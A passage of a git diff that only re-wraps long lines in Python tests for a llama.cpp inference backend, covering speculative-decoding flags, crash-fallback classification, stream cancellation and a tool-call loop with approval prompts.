test_update_size_upstream_windows_uses_binary_repo(monkeypatch): monkeypatch, {"ggml-org/llama.cpp": {"llama-b9673-bin-win-cpu-x64.zip": 33_000_000}}, ) - assert fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") == 33_000_000 + assert ( + fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") + == 33_000_000 + ) def test_update_size_no_matching_asset_fails_open(monkeypatch): @@ -630,4 +674,7 @@ def test_update_size_missing_inputs_fail_open(monkeypatch): ) is None ) - assert fr.update_download_size_bytes({"asset": None}, "b9300", "unslothai/llama.cpp") is None + assert ( + fr.update_download_size_bytes({"asset": None}, "b9300", "unslothai/llama.cpp") + is None + ) diff --git a/studio/backend/tests/test_llama_cpp_mmproj_fallback.py b/studio/backend/tests/test_llama_cpp_mmproj_fallback.py index 049058e511..4a011779d2 100644 --- a/studio/backend/tests/test_llama_cpp_mmproj_fallback.py +++ b/studio/backend/tests/test_llama_cpp_mmproj_fallback.py @@ -31,7 +31,9 @@ _loggers_stub = _types.ModuleType("loggers") _loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) sys.modules.setdefault("loggers", _loggers_stub) _structlog_stub = _types.ModuleType("structlog") -_structlog_stub.get_logger = lambda *a, **k: __import__("logging").getLogger("structlog") +_structlog_stub.get_logger = lambda *a, **k: __import__("logging").getLogger( + "structlog" +) sys.modules.setdefault("structlog", _structlog_stub) if not hasattr(sys.modules["structlog"], "get_logger"): sys.modules["structlog"].get_logger = _structlog_stub.get_logger @@ -57,7 +59,9 @@ _OOM_OUT = ( "ggml_backend_cuda_buffer_type_alloc_buffer: allocating 12000.00 MiB on " "device 0: cudaMalloc failed: out of memory" ) -_BAD_ARCH_OUT = "llama_model_load: error loading model: unknown model architecture: 'qwen_image'" +_BAD_ARCH_OUT = ( + "llama_model_load: error loading model: unknown model architecture: 'qwen_image'" +) _PORT_OUT = "srv start: failed to bind: address already in use" _MISSING_OUT = "error: failed to open GGUF file: no such file or directory" # A healthy startup log that merely mentions the projector must not match. @@ -218,13 +222,25 @@ class TestFlashAttnOff: assert out == ["llama-server", "--flash-attn=off", "-c", "4096"] def test_flips_fa_alias_and_auto(self): - assert _flash_off(["llama-server", "-fa", "auto"]) == ["llama-server", "-fa", "off"] + assert _flash_off(["llama-server", "-fa", "auto"]) == [ + "llama-server", + "-fa", + "off", + ] assert _flash_off(["llama-server", "-fa=on"]) == ["llama-server", "-fa=off"] def test_flips_every_occurrence_last_wins(self): # extra_args can re-enable FA after Unsloth's flag; llama.cpp is last-wins, # so one leftover 'on' would re-crash the retry. Every enable must flip. - cmd = ["llama-server", "--flash-attn", "on", "--mmproj", "/p", "--flash-attn", "on"] + cmd = [ + "llama-server", + "--flash-attn", + "on", + "--mmproj", + "/p", + "--flash-attn", + "on", + ] out = _flash_off(cmd) assert out is not None assert "on" not in out @@ -236,7 +252,10 @@ class TestFlashAttnOff: def test_none_when_user_off_wins_last(self): # User appended 'off' after Unsloth's 'on'; effective (last-wins) is off, # so there is nothing to retry. - assert _flash_off(["llama-server", "--flash-attn", "on", "--flash-attn", "off"]) is None + assert ( + _flash_off(["llama-server", "--flash-attn", "on", "--flash-attn", "off"]) + is None + ) def test_neutralizes_trailing_bare_flag(self): # A bare --flash-attn reads as on under last-wins; it must be neutralized @@ -246,7 +265,10 @@ class TestFlashAttnOff: assert "on" not in out def test_bare_flag_only(self): - assert _flash_off(["llama-server", "--flash-attn"]) == ["llama-server", "--flash-attn=off"] + assert _flash_off(["llama-server", "--flash-attn"]) == [ + "llama-server", + "--flash-attn=off", + ] assert _flash_off(["llama-server", "-fa"]) == ["llama-server", "-fa=off"] @@ -310,11 +332,15 @@ class TestRetryContract: # A hard fault that already printed an OOM must surface it, not silently # drop --mmproj and tell the user to update llama.cpp. assert _signal_crash(-6) is True - should_retry = _detect(_OOM_OUT) or (_signal_crash(-6) and not _nonproj(_OOM_OUT)) + should_retry = _detect(_OOM_OUT) or ( + _signal_crash(-6) and not _nonproj(_OOM_OUT) + ) assert should_retry is False def test_signal_crash_with_bad_arch_does_not_drop_vision(self): - should_retry = _detect(_BAD_ARCH_OUT) or (_signal_crash(-6) and not _nonproj(_BAD_ARCH_OUT)) + should_retry = _detect(_BAD_ARCH_OUT) or ( + _signal_crash(-6) and not _nonproj(_BAD_ARCH_OUT) + ) assert should_retry is False def test_clean_nonzero_exit_with_mmproj_does_not_retry(self): diff --git a/studio/backend/tests/test_llama_cpp_mtp_detection.py b/studio/backend/tests/test_llama_cpp_mtp_detection.py index 1d15647967..8f8a8dbd25 100644 --- a/studio/backend/tests/test_llama_cpp_mtp_detection.py +++ b/studio/backend/tests/test_llama_cpp_mtp_detection.py @@ -84,7 +84,9 @@ def _enc_kv_string(key: str, value: str) -> bytes: def _enc_kv_uint32(key: str, value: int) -> bytes: - return _enc_string(key) + struct.pack(" bool: return any( - isinstance(n, ast.Constant) and n.value == _NO_CACHE_PROMPT_FLAG for n in ast.walk(node) + isinstance(n, ast.Constant) and n.value == _NO_CACHE_PROMPT_FLAG + for n in ast.walk(node) ) @@ -391,7 +394,9 @@ def test_unsloth_never_injects_no_cache_prompt_into_any_command(): violations: list[tuple[str, int]] = [] for path in files: try: - violations += _no_cache_prompt_injections(path.read_text(encoding = "utf-8"), str(path)) + violations += _no_cache_prompt_injections( + path.read_text(encoding = "utf-8"), str(path) + ) except (OSError, UnicodeDecodeError, SyntaxError): continue assert files, "no backend source files were scanned" @@ -637,7 +642,9 @@ def test_probe_server_capabilities_uses_binary_library_env(tmp_path, monkeypatch def fake_run(cmd, **kwargs): captured["cmd"] = cmd captured["env"] = kwargs.get("env") - return _types.SimpleNamespace(stdout = "--spec-type none,mtp,ngram-simple\n", stderr = "") + return _types.SimpleNamespace( + stdout = "--spec-type none,mtp,ngram-simple\n", stderr = "" + ) monkeypatch.setattr("core.inference.llama_cpp.subprocess.run", fake_run) @@ -827,7 +834,14 @@ def test_build_ngram_mod_flags_new(): def test_build_ngram_mod_flags_legacy(): flags = _build_ngram_mod_flags({"ngram_mod_flavor": "legacy"}) - assert flags == ["--spec-ngram-size-n", "24", "--draft-min", "48", "--draft-max", "64"] + assert flags == [ + "--spec-ngram-size-n", + "24", + "--draft-min", + "48", + "--draft-max", + "64", + ] def test_build_ngram_mod_flags_empty_when_unsupported(): @@ -837,7 +851,9 @@ def test_build_ngram_mod_flags_empty_when_unsupported(): def test_build_ngram_mod_flags_respects_custom_values(): - flags = _build_ngram_mod_flags({"ngram_mod_flavor": "new"}, n_match = 16, n_min = 24, n_max = 32) + flags = _build_ngram_mod_flags( + {"ngram_mod_flavor": "new"}, n_match = 16, n_min = 24, n_max = 32 + ) assert flags == [ "--spec-ngram-mod-n-match", "16", @@ -988,7 +1004,9 @@ def _patch_probe(monkeypatch, ngram_supported): ) -def test_already_in_target_state_sub_3b_falls_back_to_ngram_mod_when_supported(monkeypatch): +def test_already_in_target_state_sub_3b_falls_back_to_ngram_mod_when_supported( + monkeypatch, +): # 0.8B MTP request -- load_model would have promoted to ngram-mod (no MTP # head); reload check must match a ngram-mod backend. _patch_probe(monkeypatch, ngram_supported = True) @@ -1260,7 +1278,13 @@ _SUB_3B_MTP_MODEL = "unsloth/Qwen3.5-0.8B-MTP-GGUF" ], ) def test_build_speculative_flags_matrix( - monkeypatch, requested, gpus, model, expect_spec_type, expect_n_max, expect_ngram_knobs + monkeypatch, + requested, + gpus, + model, + expect_spec_type, + expect_n_max, + expect_ngram_knobs, ): backend = _resolver_backend(monkeypatch) flags = backend._build_speculative_flags( @@ -1539,7 +1563,9 @@ def test_auto_non_mtp_mla_model_unaffected(monkeypatch): ("mtp+ngram", "ngram-mod,draft-mtp", "2"), ], ) -def test_forced_mtp_on_mla_still_engages(monkeypatch, mode, expect_spec_type, expect_n_max): +def test_forced_mtp_on_mla_still_engages( + monkeypatch, mode, expect_spec_type, expect_n_max +): # Explicit override engages the deliberately-slower MTP route on MLA models, # regardless of the Auto gate. No policy downgrade reason. backend = _mla_resolver_backend(monkeypatch) @@ -1745,7 +1771,9 @@ def _resolve_real(monkeypatch, repo, drafter, mode): _REAL_REPO_MATRIX, ids = [r[0].split("/")[-1] for r in _REAL_REPO_MATRIX], ) -def test_real_repo_auto_routing(monkeypatch, repo, drafter, auto_spec, auto_ngram_knobs): +def test_real_repo_auto_routing( + monkeypatch, repo, drafter, auto_spec, auto_ngram_knobs +): # Auto is the default mode the dropdown ships with. backend, flags, parsed = _resolve_real(monkeypatch, repo, drafter, "auto") if auto_spec is None: @@ -1759,7 +1787,9 @@ def test_real_repo_auto_routing(monkeypatch, repo, drafter, auto_spec, auto_ngra assert backend.speculative_type == "draft-mtp" # gemma ships a separate drafter; Qwen bakes the head into the GGUF. assert ( - (parsed.get("--model-draft") == drafter) if drafter else ("--model-draft" not in parsed) + (parsed.get("--model-draft") == drafter) + if drafter + else ("--model-draft" not in parsed) ) else: # ngram-mod (sub-3B MTP drop) assert parsed.get("--spec-type") == "ngram-mod" @@ -1798,7 +1828,9 @@ def test_real_repo_forced_mtp_never_aborts(monkeypatch, repo, drafter): assert parsed.get("--spec-type") == "draft-mtp" assert backend.speculative_type == "draft-mtp" assert ( - (parsed.get("--model-draft") == drafter) if drafter else ("--model-draft" not in parsed) + (parsed.get("--model-draft") == drafter) + if drafter + else ("--model-draft" not in parsed) ) else: assert "--spec-type" not in parsed diff --git a/studio/backend/tests/test_llama_cpp_props_readback.py b/studio/backend/tests/test_llama_cpp_props_readback.py index fe1e67edad..fc13ddbc36 100644 --- a/studio/backend/tests/test_llama_cpp_props_readback.py +++ b/studio/backend/tests/test_llama_cpp_props_readback.py @@ -74,7 +74,9 @@ except ImportError: "__exit__": lambda self, *a: None, }, ) - _httpx_stub.get = lambda *a, **kw: (_ for _ in ()).throw(RuntimeError("unstubbed httpx.get")) + _httpx_stub.get = lambda *a, **kw: (_ for _ in ()).throw( + RuntimeError("unstubbed httpx.get") + ) sys.modules.setdefault("httpx", _httpx_stub) from core.inference.llama_cpp import LlamaCppBackend @@ -225,7 +227,9 @@ def test_kv_unified_added_for_multi_slot(): """Explicit --parallel N disables llama-server's auto-slots kv-unified default, splitting -c into per-slot windows of -c/N; Unsloth must restore the shared pool so one request can use the full advertised context.""" - flags = LlamaCppBackend._ctx_integrity_flags(4, False, False, 98304, 98304, _CAPS_ALL) + flags = LlamaCppBackend._ctx_integrity_flags( + 4, False, False, 98304, 98304, _CAPS_ALL + ) assert "--kv-unified" in flags @@ -241,7 +245,9 @@ def test_kv_unified_skipped_for_single_slot_or_old_build(): def test_fit_ctx_floors_explicit_request_under_fit(): # An explicit requested ctx floors --fit-ctx at that value on any --fit # path, including legacy auto (auto_fit False). - flags = LlamaCppBackend._ctx_integrity_flags(1, True, False, 98304, 98304, _CAPS_ALL) + flags = LlamaCppBackend._ctx_integrity_flags( + 1, True, False, 98304, 98304, _CAPS_ALL + ) assert flags[flags.index("--fit-ctx") + 1] == "98304" diff --git a/studio/backend/tests/test_llama_cpp_slot_resume.py b/studio/backend/tests/test_llama_cpp_slot_resume.py index 8b20c952c4..da996d5acc 100644 --- a/studio/backend/tests/test_llama_cpp_slot_resume.py +++ b/studio/backend/tests/test_llama_cpp_slot_resume.py @@ -30,7 +30,9 @@ def _resume_backend(tmp_path, n_slots = 1): def _fake_disk(monkeypatch, free = 1 << 40): - monkeypatch.setattr(llama_cpp.shutil, "disk_usage", lambda _p: SimpleNamespace(free = free)) + monkeypatch.setattr( + llama_cpp.shutil, "disk_usage", lambda _p: SimpleNamespace(free = free) + ) class _Resp: diff --git a/studio/backend/tests/test_llama_cpp_start_failure_classification.py b/studio/backend/tests/test_llama_cpp_start_failure_classification.py index 246d810602..34c4b9487f 100644 --- a/studio/backend/tests/test_llama_cpp_start_failure_classification.py +++ b/studio/backend/tests/test_llama_cpp_start_failure_classification.py @@ -30,7 +30,9 @@ sys.modules.setdefault("loggers", _loggers_stub) # Give the structlog stub a real get_logger: a bare ModuleType poisons # sys.modules for later tests that call structlog.get_logger at import time. _structlog_stub = _types.ModuleType("structlog") -_structlog_stub.get_logger = lambda *a, **k: __import__("logging").getLogger("structlog") +_structlog_stub.get_logger = lambda *a, **k: __import__("logging").getLogger( + "structlog" +) sys.modules.setdefault("structlog", _structlog_stub) if not hasattr(sys.modules["structlog"], "get_logger"): sys.modules["structlog"].get_logger = _structlog_stub.get_logger @@ -107,7 +109,8 @@ class TestUnsupportedNonDiffusionArchitecture: class TestOllamaAndFallback: _OLLAMA_GGUF = ( - f"/home/u/.ollama{__import__('os').sep}ollama_links" f"{__import__('os').sep}m.gguf" + f"/home/u/.ollama{__import__('os').sep}ollama_links" + f"{__import__('os').sep}m.gguf" ) def test_ollama_compat_message_still_works(self): @@ -144,7 +147,9 @@ class TestOllamaAndFallback: # A live server that never returns 200 on /health must name the probe and # proxy/context causes, not blame a bad GGUF (#5740). msg = _classify( - "llama-server health check timed out after 600.0s", "/models/x.gguf", "local/x" + "llama-server health check timed out after 600.0s", + "/models/x.gguf", + "local/x", ) assert "/health" in msg assert "NO_PROXY" in msg @@ -171,7 +176,9 @@ class TestOsKillReturncode: assert "out of memory" not in msg.lower() def test_specific_output_wins_over_os_kill_code(self): - msg = _classify(_QWEN_IMAGE_OUT, "/models/qwen-image.gguf", "local/qwen-image", -9) + msg = _classify( + _QWEN_IMAGE_OUT, "/models/qwen-image.gguf", "local/qwen-image", -9 + ) assert "diffusion" in msg.lower() assert "out of memory" not in msg.lower() diff --git a/studio/backend/tests/test_llama_cpp_stream_cancel.py b/studio/backend/tests/test_llama_cpp_stream_cancel.py index f87ce86450..cb03d06cf6 100644 --- a/studio/backend/tests/test_llama_cpp_stream_cancel.py +++ b/studio/backend/tests/test_llama_cpp_stream_cancel.py @@ -189,4 +189,6 @@ def test_cancel_interrupts_a_read_blocked_on_a_mid_stream_stall(): pass # first chunk arrives, then the read blocks silently elapsed = time.monotonic() - started - assert elapsed < 10, f"cancel took {elapsed:.1f}s; the blocked read was not interrupted" + assert ( + elapsed < 10 + ), f"cancel took {elapsed:.1f}s; the blocked read was not interrupted" diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py index e99e227d40..c0f09e8805 100644 --- a/studio/backend/tests/test_llama_cpp_tool_loop.py +++ b/studio/backend/tests/test_llama_cpp_tool_loop.py @@ -210,12 +210,17 @@ def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch): }, ) ] - assert any(e.get("type") == "tool_end" and e.get("tool_name") == "render_html" for e in events) + assert any( + e.get("type") == "tool_end" and e.get("tool_name") == "render_html" + for e in events + ) # The second llama-server request should include the assistant preface # plus the structured tool call, preserving OpenAI-compatible ordering. assert len(payloads) == 2 - assistant_messages = [m for m in payloads[1]["messages"] if m.get("role") == "assistant"] + assistant_messages = [ + m for m in payloads[1]["messages"] if m.get("role") == "assistant" + ] assert assistant_messages[-1]["content"] == "Here is the canvas.\n\n" assert assistant_messages[-1]["tool_calls"][0]["id"] == tool_call_id assert assistant_messages[-1]["tool_calls"][0]["function"]["name"] == "render_html" @@ -246,12 +251,17 @@ def test_streamed_reasoning_answer_emits_backend_summary(monkeypatch): assert content_texts[0] == "I am thinking." assert content_texts[1] == "I am thinking. Still thinking." # The final event closes the block and appends the answer. - assert content_texts[-1] == "I am thinking. Still thinking.Final answer." + assert ( + content_texts[-1] + == "I am thinking. Still thinking.Final answer." + ) summary_index = next( i for i, event in enumerate(events) if event["type"] == "reasoning_summary" ) - final_content_index = max(i for i, event in enumerate(events) if event["type"] == "content") + final_content_index = max( + i for i, event in enumerate(events) if event["type"] == "content" + ) assert summary_index < final_content_index assert events[summary_index]["duration_ms"] == 62000 @@ -354,8 +364,12 @@ def test_reasoning_before_structured_tool_closes_think_block(monkeypatch): ) ) - tool_start_index = next(i for i, e in enumerate(events) if e["type"] == "tool_start") - content_before_tool = [e["text"] for e in events[:tool_start_index] if e["type"] == "content"] + tool_start_index = next( + i for i, e in enumerate(events) if e["type"] == "tool_start" + ) + content_before_tool = [ + e["text"] for e in events[:tool_start_index] if e["type"] == "content" + ] # Reasoning streamed live, then closed before the tool -- balanced block. assert content_before_tool[0] == "Let me search." assert content_before_tool[-1] == "Let me search." @@ -463,8 +477,12 @@ def test_reasoning_before_bare_json_tool_closes_think_block(monkeypatch): ) ) - tool_start_index = next(i for i, e in enumerate(events) if e["type"] == "tool_start") - content_before_tool = [e["text"] for e in events[:tool_start_index] if e["type"] == "content"] + tool_start_index = next( + i for i, e in enumerate(events) if e["type"] == "tool_start" + ) + content_before_tool = [ + e["text"] for e in events[:tool_start_index] if e["type"] == "content" + ] assert content_before_tool[0] == "Searching now." assert content_before_tool[-1] == "Searching now." # The bare-JSON call text was drained, never surfaced as content. @@ -509,7 +527,8 @@ def test_consumed_tool_final_pass_emits_latest_reasoning_summary(monkeypatch): final_content_index = next( i for i, event in enumerate(events) - if event.get("type") == "content" and "Final from tool." in event.get("text", "") + if event.get("type") == "content" + and "Final from tool." in event.get("text", "") ) assert final_summary_index < final_content_index @@ -565,7 +584,9 @@ def test_repeat_render_html_nudge_is_not_user_visible_error(monkeypatch): ] final_stream = [_sse({"content": "Short note."}), _done()] payloads: list[dict] = [] - backend = _make_backend(monkeypatch, [first_stream, repeat_stream, final_stream], payloads) + backend = _make_backend( + monkeypatch, [first_stream, repeat_stream, final_stream], payloads + ) calls: list[tuple[str, dict]] = [] @@ -674,11 +695,16 @@ def test_render_html_success_drops_tool_schema_before_final_pass(monkeypatch): assert len(payloads) == 2 assert "tools" not in payloads[1] - assert any(event.get("type") == "content" and event.get("text") == "Done." for event in events) + assert any( + event.get("type") == "content" and event.get("text") == "Done." + for event in events + ) final_user_messages = [ m.get("content", "") for m in payloads[1]["messages"] if m.get("role") == "user" ] - assert not any("used all available tool calls" in message for message in final_user_messages) + assert not any( + "used all available tool calls" in message for message in final_user_messages + ) def test_non_consecutive_duplicate_web_search_is_internal_noop(monkeypatch): @@ -759,7 +785,9 @@ def test_non_consecutive_duplicate_web_search_is_internal_noop(monkeypatch): events = list( backend.generate_chat_completion_with_tools( - messages = [{"role": "user", "content": "search gpus in 2026 prices and use python"}], + messages = [ + {"role": "user", "content": "search gpus in 2026 prices and use python"} + ], tools = tools, max_tool_iterations = 3, ) @@ -874,7 +902,9 @@ def test_duplicate_web_search_noop_allows_distinct_followup_tool(monkeypatch): events = list( backend.generate_chat_completion_with_tools( - messages = [{"role": "user", "content": "search gpus in 2026 prices and use python"}], + messages = [ + {"role": "user", "content": "search gpus in 2026 prices and use python"} + ], tools = tools, max_tool_iterations = 4, ) @@ -990,13 +1020,14 @@ def test_repeated_duplicate_noop_transitions_to_final_pass(monkeypatch): ) assert calls == [("web_search", {"query": "gpu prices 2026"})] - assert [event.get("tool_call_id") for event in events if event.get("type") == "tool_end"] == [ - "call_search_1" - ] + assert [ + event.get("tool_call_id") for event in events if event.get("type") == "tool_end" + ] == ["call_search_1"] assert len(payloads) == 4 assert "tools" not in payloads[-1] assert any( - event.get("type") == "content" and event.get("text") == "Final answer from first search." + event.get("type") == "content" + and event.get("text") == "Final answer from first search." for event in events ) @@ -1050,9 +1081,9 @@ def test_same_turn_duplicate_web_search_is_internal_noop(monkeypatch): ) assert calls == [("web_search", {"query": "gpu prices 2026"})] - assert [event.get("tool_call_id") for event in events if event.get("type") == "tool_end"] == [ - "call_search_1" - ] + assert [ + event.get("tool_call_id") for event in events if event.get("type") == "tool_end" + ] == ["call_search_1"] assert not [ event for event in events @@ -1073,19 +1104,28 @@ def test_same_turn_duplicate_does_not_drop_later_parallel_call(monkeypatch): "index": 0, "id": "call_a1", "type": "function", - "function": {"name": "web_search", "arguments": json.dumps({"query": "a"})}, + "function": { + "name": "web_search", + "arguments": json.dumps({"query": "a"}), + }, }, { "index": 1, "id": "call_a2", "type": "function", - "function": {"name": "web_search", "arguments": json.dumps({"query": "a"})}, + "function": { + "name": "web_search", + "arguments": json.dumps({"query": "a"}), + }, }, { "index": 2, "id": "call_b", "type": "function", - "function": {"name": "web_search", "arguments": json.dumps({"query": "b"})}, + "function": { + "name": "web_search", + "arguments": json.dumps({"query": "b"}), + }, }, ] } @@ -1135,7 +1175,9 @@ def test_same_turn_duplicate_does_not_drop_later_parallel_call(monkeypatch): assert "previous tool request" not in after[2]["content"].lower() -def test_same_turn_repeated_render_html_does_not_emit_second_provisional_start(monkeypatch): +def test_same_turn_repeated_render_html_does_not_emit_second_provisional_start( + monkeypatch, +): same_turn_render_calls = [ _sse( { @@ -1165,7 +1207,9 @@ def test_same_turn_repeated_render_html_does_not_emit_second_provisional_start(m ] final_stream = [_sse({"content": "Final answer."}), _done()] payloads: list[dict] = [] - backend = _make_backend(monkeypatch, [same_turn_render_calls, final_stream], payloads) + backend = _make_backend( + monkeypatch, [same_turn_render_calls, final_stream], payloads + ) calls: list[tuple[str, dict]] = [] @@ -1242,7 +1286,9 @@ def test_disabled_tool_call_is_internal_noop(monkeypatch): ) ) - assert not [event for event in events if event.get("type") in {"tool_start", "tool_end"}] + assert not [ + event for event in events if event.get("type") in {"tool_start", "tool_end"} + ] assert len(payloads) == 2 disabled_nudges = [ message @@ -1325,7 +1371,8 @@ def test_render_html_success_does_not_reprompt_render_html_intent(monkeypatch): assert len(payloads) == 2 assert len(calls) == 1 assert any( - event.get("type") == "content" and event.get("text") == "I will now use render_html again." + event.get("type") == "content" + and event.get("text") == "I will now use render_html again." for event in events ) @@ -1370,7 +1417,9 @@ def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch): ) ) - content_texts = [event.get("text", "") for event in events if event.get("type") == "content"] + content_texts = [ + event.get("text", "") for event in events if event.get("type") == "content" + ] assert content_texts == ["I will use render_html now."] assert len(payloads) == _MAX_REPROMPTS + 1 @@ -1414,7 +1463,9 @@ def test_forced_reprompt_plain_final_answer_is_visible(monkeypatch): ) ) - content_texts = [event.get("text", "") for event in events if event.get("type") == "content"] + content_texts = [ + event.get("text", "") for event in events if event.get("type") == "content" + ] assert content_texts == [ "I will use render_html now.", "No tool is needed. Final answer: use a red square.", @@ -1456,7 +1507,9 @@ def test_internal_reprompt_disabled_when_auto_heal_disabled(monkeypatch): ) ) - content_texts = [event.get("text", "") for event in events if event.get("type") == "content"] + content_texts = [ + event.get("text", "") for event in events if event.get("type") == "content" + ] assert content_texts == ["I will use render_html now."] assert len(payloads) == 1 @@ -1498,7 +1551,9 @@ def test_internal_reprompt_disabled_when_nudge_tool_calls_false(monkeypatch): ) ) - content_texts = [event.get("text", "") for event in events if event.get("type") == "content"] + content_texts = [ + event.get("text", "") for event in events if event.get("type") == "content" + ] assert content_texts == ["I will use render_html now."] assert len(payloads) == 1 @@ -1545,7 +1600,10 @@ def test_textual_mistral_marker_not_leaked_when_inline_with_preface(monkeypatch) # Textual Mistral ``[TOOL_CALLS]`` inline with visible preface: the DRAINING flush must use the # shared parser patterns (which know ``[TOOL_CALLS]``); the legacy set leaked the marker to clients. streams = [ - [_sse({"content": 'Let me search. [TOOL_CALLS]web_search{"query":"cats"}'}), _done()], + [ + _sse({"content": 'Let me search. [TOOL_CALLS]web_search{"query":"cats"}'}), + _done(), + ], [_sse({"content": "done"}), _done()], ] payloads: list[dict] = [] @@ -1719,7 +1777,9 @@ def test_reprompted_tool_call_still_streams_final_answer(monkeypatch): ) assert len(calls) == 1 - content_texts = [event.get("text", "") for event in events if event.get("type") == "content"] + content_texts = [ + event.get("text", "") for event in events if event.get("type") == "content" + ] assert content_texts == ["I will use render_html now.", "Final note after tool."] assert len(payloads) == 3 @@ -1739,12 +1799,16 @@ def test_confirm_tool_calls_allow_executes_gguf_tool(monkeypatch): return "OK" monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) - monkeypatch.setattr("core.inference.llama_cpp.new_approval_id", lambda: "approval-1") + monkeypatch.setattr( + "core.inference.llama_cpp.new_approval_id", lambda: "approval-1" + ) monkeypatch.setattr( "core.inference.llama_cpp.begin_tool_decision", lambda *_a, **_k: object(), ) - monkeypatch.setattr("core.inference.llama_cpp.wait_tool_decision", lambda *_a, **_k: "allow") + monkeypatch.setattr( + "core.inference.llama_cpp.wait_tool_decision", lambda *_a, **_k: "allow" + ) events = list( backend.generate_chat_completion_with_tools( @@ -1761,7 +1825,10 @@ def test_confirm_tool_calls_allow_executes_gguf_tool(monkeypatch): assert starts[0]["approval_id"] assert starts[0]["awaiting_confirmation"] is True assert calls == [("python", {"code": "print(1)"})] - assert any(event.get("type") == "tool_end" and event.get("result") == "OK" for event in events) + assert any( + event.get("type") == "tool_end" and event.get("result") == "OK" + for event in events + ) def test_confirm_tool_calls_close_after_prompt_cleans_gguf_slot(monkeypatch): @@ -1822,7 +1889,10 @@ def test_confirm_tool_calls_skips_gguf_rag_autoinject(monkeypatch): ) ) - assert any(event.get("type") == "content" and event.get("text") == "Done." for event in events) + assert any( + event.get("type") == "content" and event.get("text") == "Done." + for event in events + ) def test_confirm_tool_calls_deny_skips_gguf_tool_and_retry_can_execute(monkeypatch): @@ -1845,7 +1915,9 @@ def test_confirm_tool_calls_deny_skips_gguf_tool_and_retry_can_execute(monkeypat approvals = iter(["approval-1", "approval-2"]) monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) - monkeypatch.setattr("core.inference.llama_cpp.new_approval_id", lambda: next(approvals)) + monkeypatch.setattr( + "core.inference.llama_cpp.new_approval_id", lambda: next(approvals) + ) monkeypatch.setattr( "core.inference.llama_cpp.begin_tool_decision", lambda *_a, **_k: object(), @@ -1882,7 +1954,9 @@ def _streamed_structured_tool_call( deltas (id + name on the first delta), mirroring how llama-server streams a large tool-call argument such as a full HTML/code file.""" args_json = json.dumps(arguments) - fragments = [args_json[i : i + frag] for i in range(0, len(args_json), frag)] or [""] + fragments = [args_json[i : i + frag] for i in range(0, len(args_json), frag)] or [ + "" + ] chunks = [ _sse( { @@ -1898,7 +1972,9 @@ def _streamed_structured_tool_call( ) ] for fragment in fragments[1:]: - chunks.append(_sse({"tool_calls": [{"index": 0, "function": {"arguments": fragment}}]})) + chunks.append( + _sse({"tool_calls": [{"index": 0, "function": {"arguments": fragment}}]}) + ) chunks.append(_done()) return chunks @@ -1913,7 +1989,9 @@ def test_large_python_tool_call_emits_early_provisional_start(monkeypatch): args_json = json.dumps({"code": big_code}) assert len(args_json) > _PROVISIONAL_ARGS_MIN_CHARS - first_stream = _streamed_structured_tool_call("python", {"code": big_code}, "call_py_big") + first_stream = _streamed_structured_tool_call( + "python", {"code": big_code}, "call_py_big" + ) final_stream = [_sse({"content": "Done."}), _done()] payloads: list[dict] = [] backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) @@ -1950,7 +2028,9 @@ def test_large_python_tool_call_emits_early_provisional_start(monkeypatch): assert events.index(provisional[0]) < events.index(real[0]) assert calls == [("python", {"code": big_code})] - assert any(e.get("type") == "tool_end" and e.get("tool_name") == "python" for e in events) + assert any( + e.get("type") == "tool_end" and e.get("tool_name") == "python" for e in events + ) def test_auto_mode_render_html_suppresses_provisional_card_under_confirm(monkeypatch): @@ -1964,7 +2044,9 @@ def test_auto_mode_render_html_suppresses_provisional_card_under_confirm(monkeyp payloads: list[dict] = [] backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) - monkeypatch.setattr("core.inference.tools.execute_tool", lambda name, arguments, **_k: "OK") + monkeypatch.setattr( + "core.inference.tools.execute_tool", lambda name, arguments, **_k: "OK" + ) events = list( backend.generate_chat_completion_with_tools( @@ -1990,7 +2072,9 @@ def test_small_python_tool_call_has_no_provisional_start(monkeypatch): """A small tool-call argument finishes streaming instantly, so it keeps the existing behavior of a single (real) tool_start with no provisional card.""" - first_stream = _structured_tool_call("python", {"code": "print(1)"}, "call_py_small") + first_stream = _structured_tool_call( + "python", {"code": "print(1)"}, "call_py_small" + ) final_stream = [_sse({"content": "Done."}), _done()] payloads: list[dict] = [] backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) @@ -2017,7 +2101,9 @@ def _streamed_parallel_tool_calls(specs, frag: int = 24) -> list[str]: chunks: list[str] = [] for index, (tool_name, arguments, call_id) in enumerate(specs): args_json = json.dumps(arguments) - fragments = [args_json[i : i + frag] for i in range(0, len(args_json), frag)] or [""] + fragments = [ + args_json[i : i + frag] for i in range(0, len(args_json), frag) + ] or [""] chunks.append( _sse( { @@ -2034,7 +2120,13 @@ def _streamed_parallel_tool_calls(specs, frag: int = 24) -> list[str]: ) for fragment in fragments[1:]: chunks.append( - _sse({"tool_calls": [{"index": index, "function": {"arguments": fragment}}]}) + _sse( + { + "tool_calls": [ + {"index": index, "function": {"arguments": fragment}} + ] + } + ) ) chunks.append(_done()) return chunks @@ -2079,7 +2171,9 @@ def test_parallel_large_tool_calls_each_emit_provisional_start(monkeypatch): ) ) - provisional = [e for e in events if e.get("type") == "tool_start" and not e.get("arguments")] + provisional = [ + e for e in events if e.get("type") == "tool_start" and not e.get("arguments") + ] assert sorted(e["tool_call_id"] for e in provisional) == ["call_py", "call_term"] assert all(e["provenance"].get("provisional") is True for e in provisional) # Both calls actually executed (parallel tool use is enabled by default). @@ -2124,13 +2218,17 @@ def test_parallel_disabled_suppresses_provisional_for_later_calls(monkeypatch): ) ) - provisional = [e for e in events if e.get("type") == "tool_start" and not e.get("arguments")] + provisional = [ + e for e in events if e.get("type") == "tool_start" and not e.get("arguments") + ] assert [e["tool_call_id"] for e in provisional] == ["call_py"] # Only the first call executes when parallel use is disabled. assert calls == [("python", {"code": big_code})] # The lone provisional is closed exactly once (no dangling card). closing = [ - e for e in events if e.get("type") == "tool_end" and e.get("tool_call_id") == "call_py" + e + for e in events + if e.get("type") == "tool_end" and e.get("tool_call_id") == "call_py" ] assert 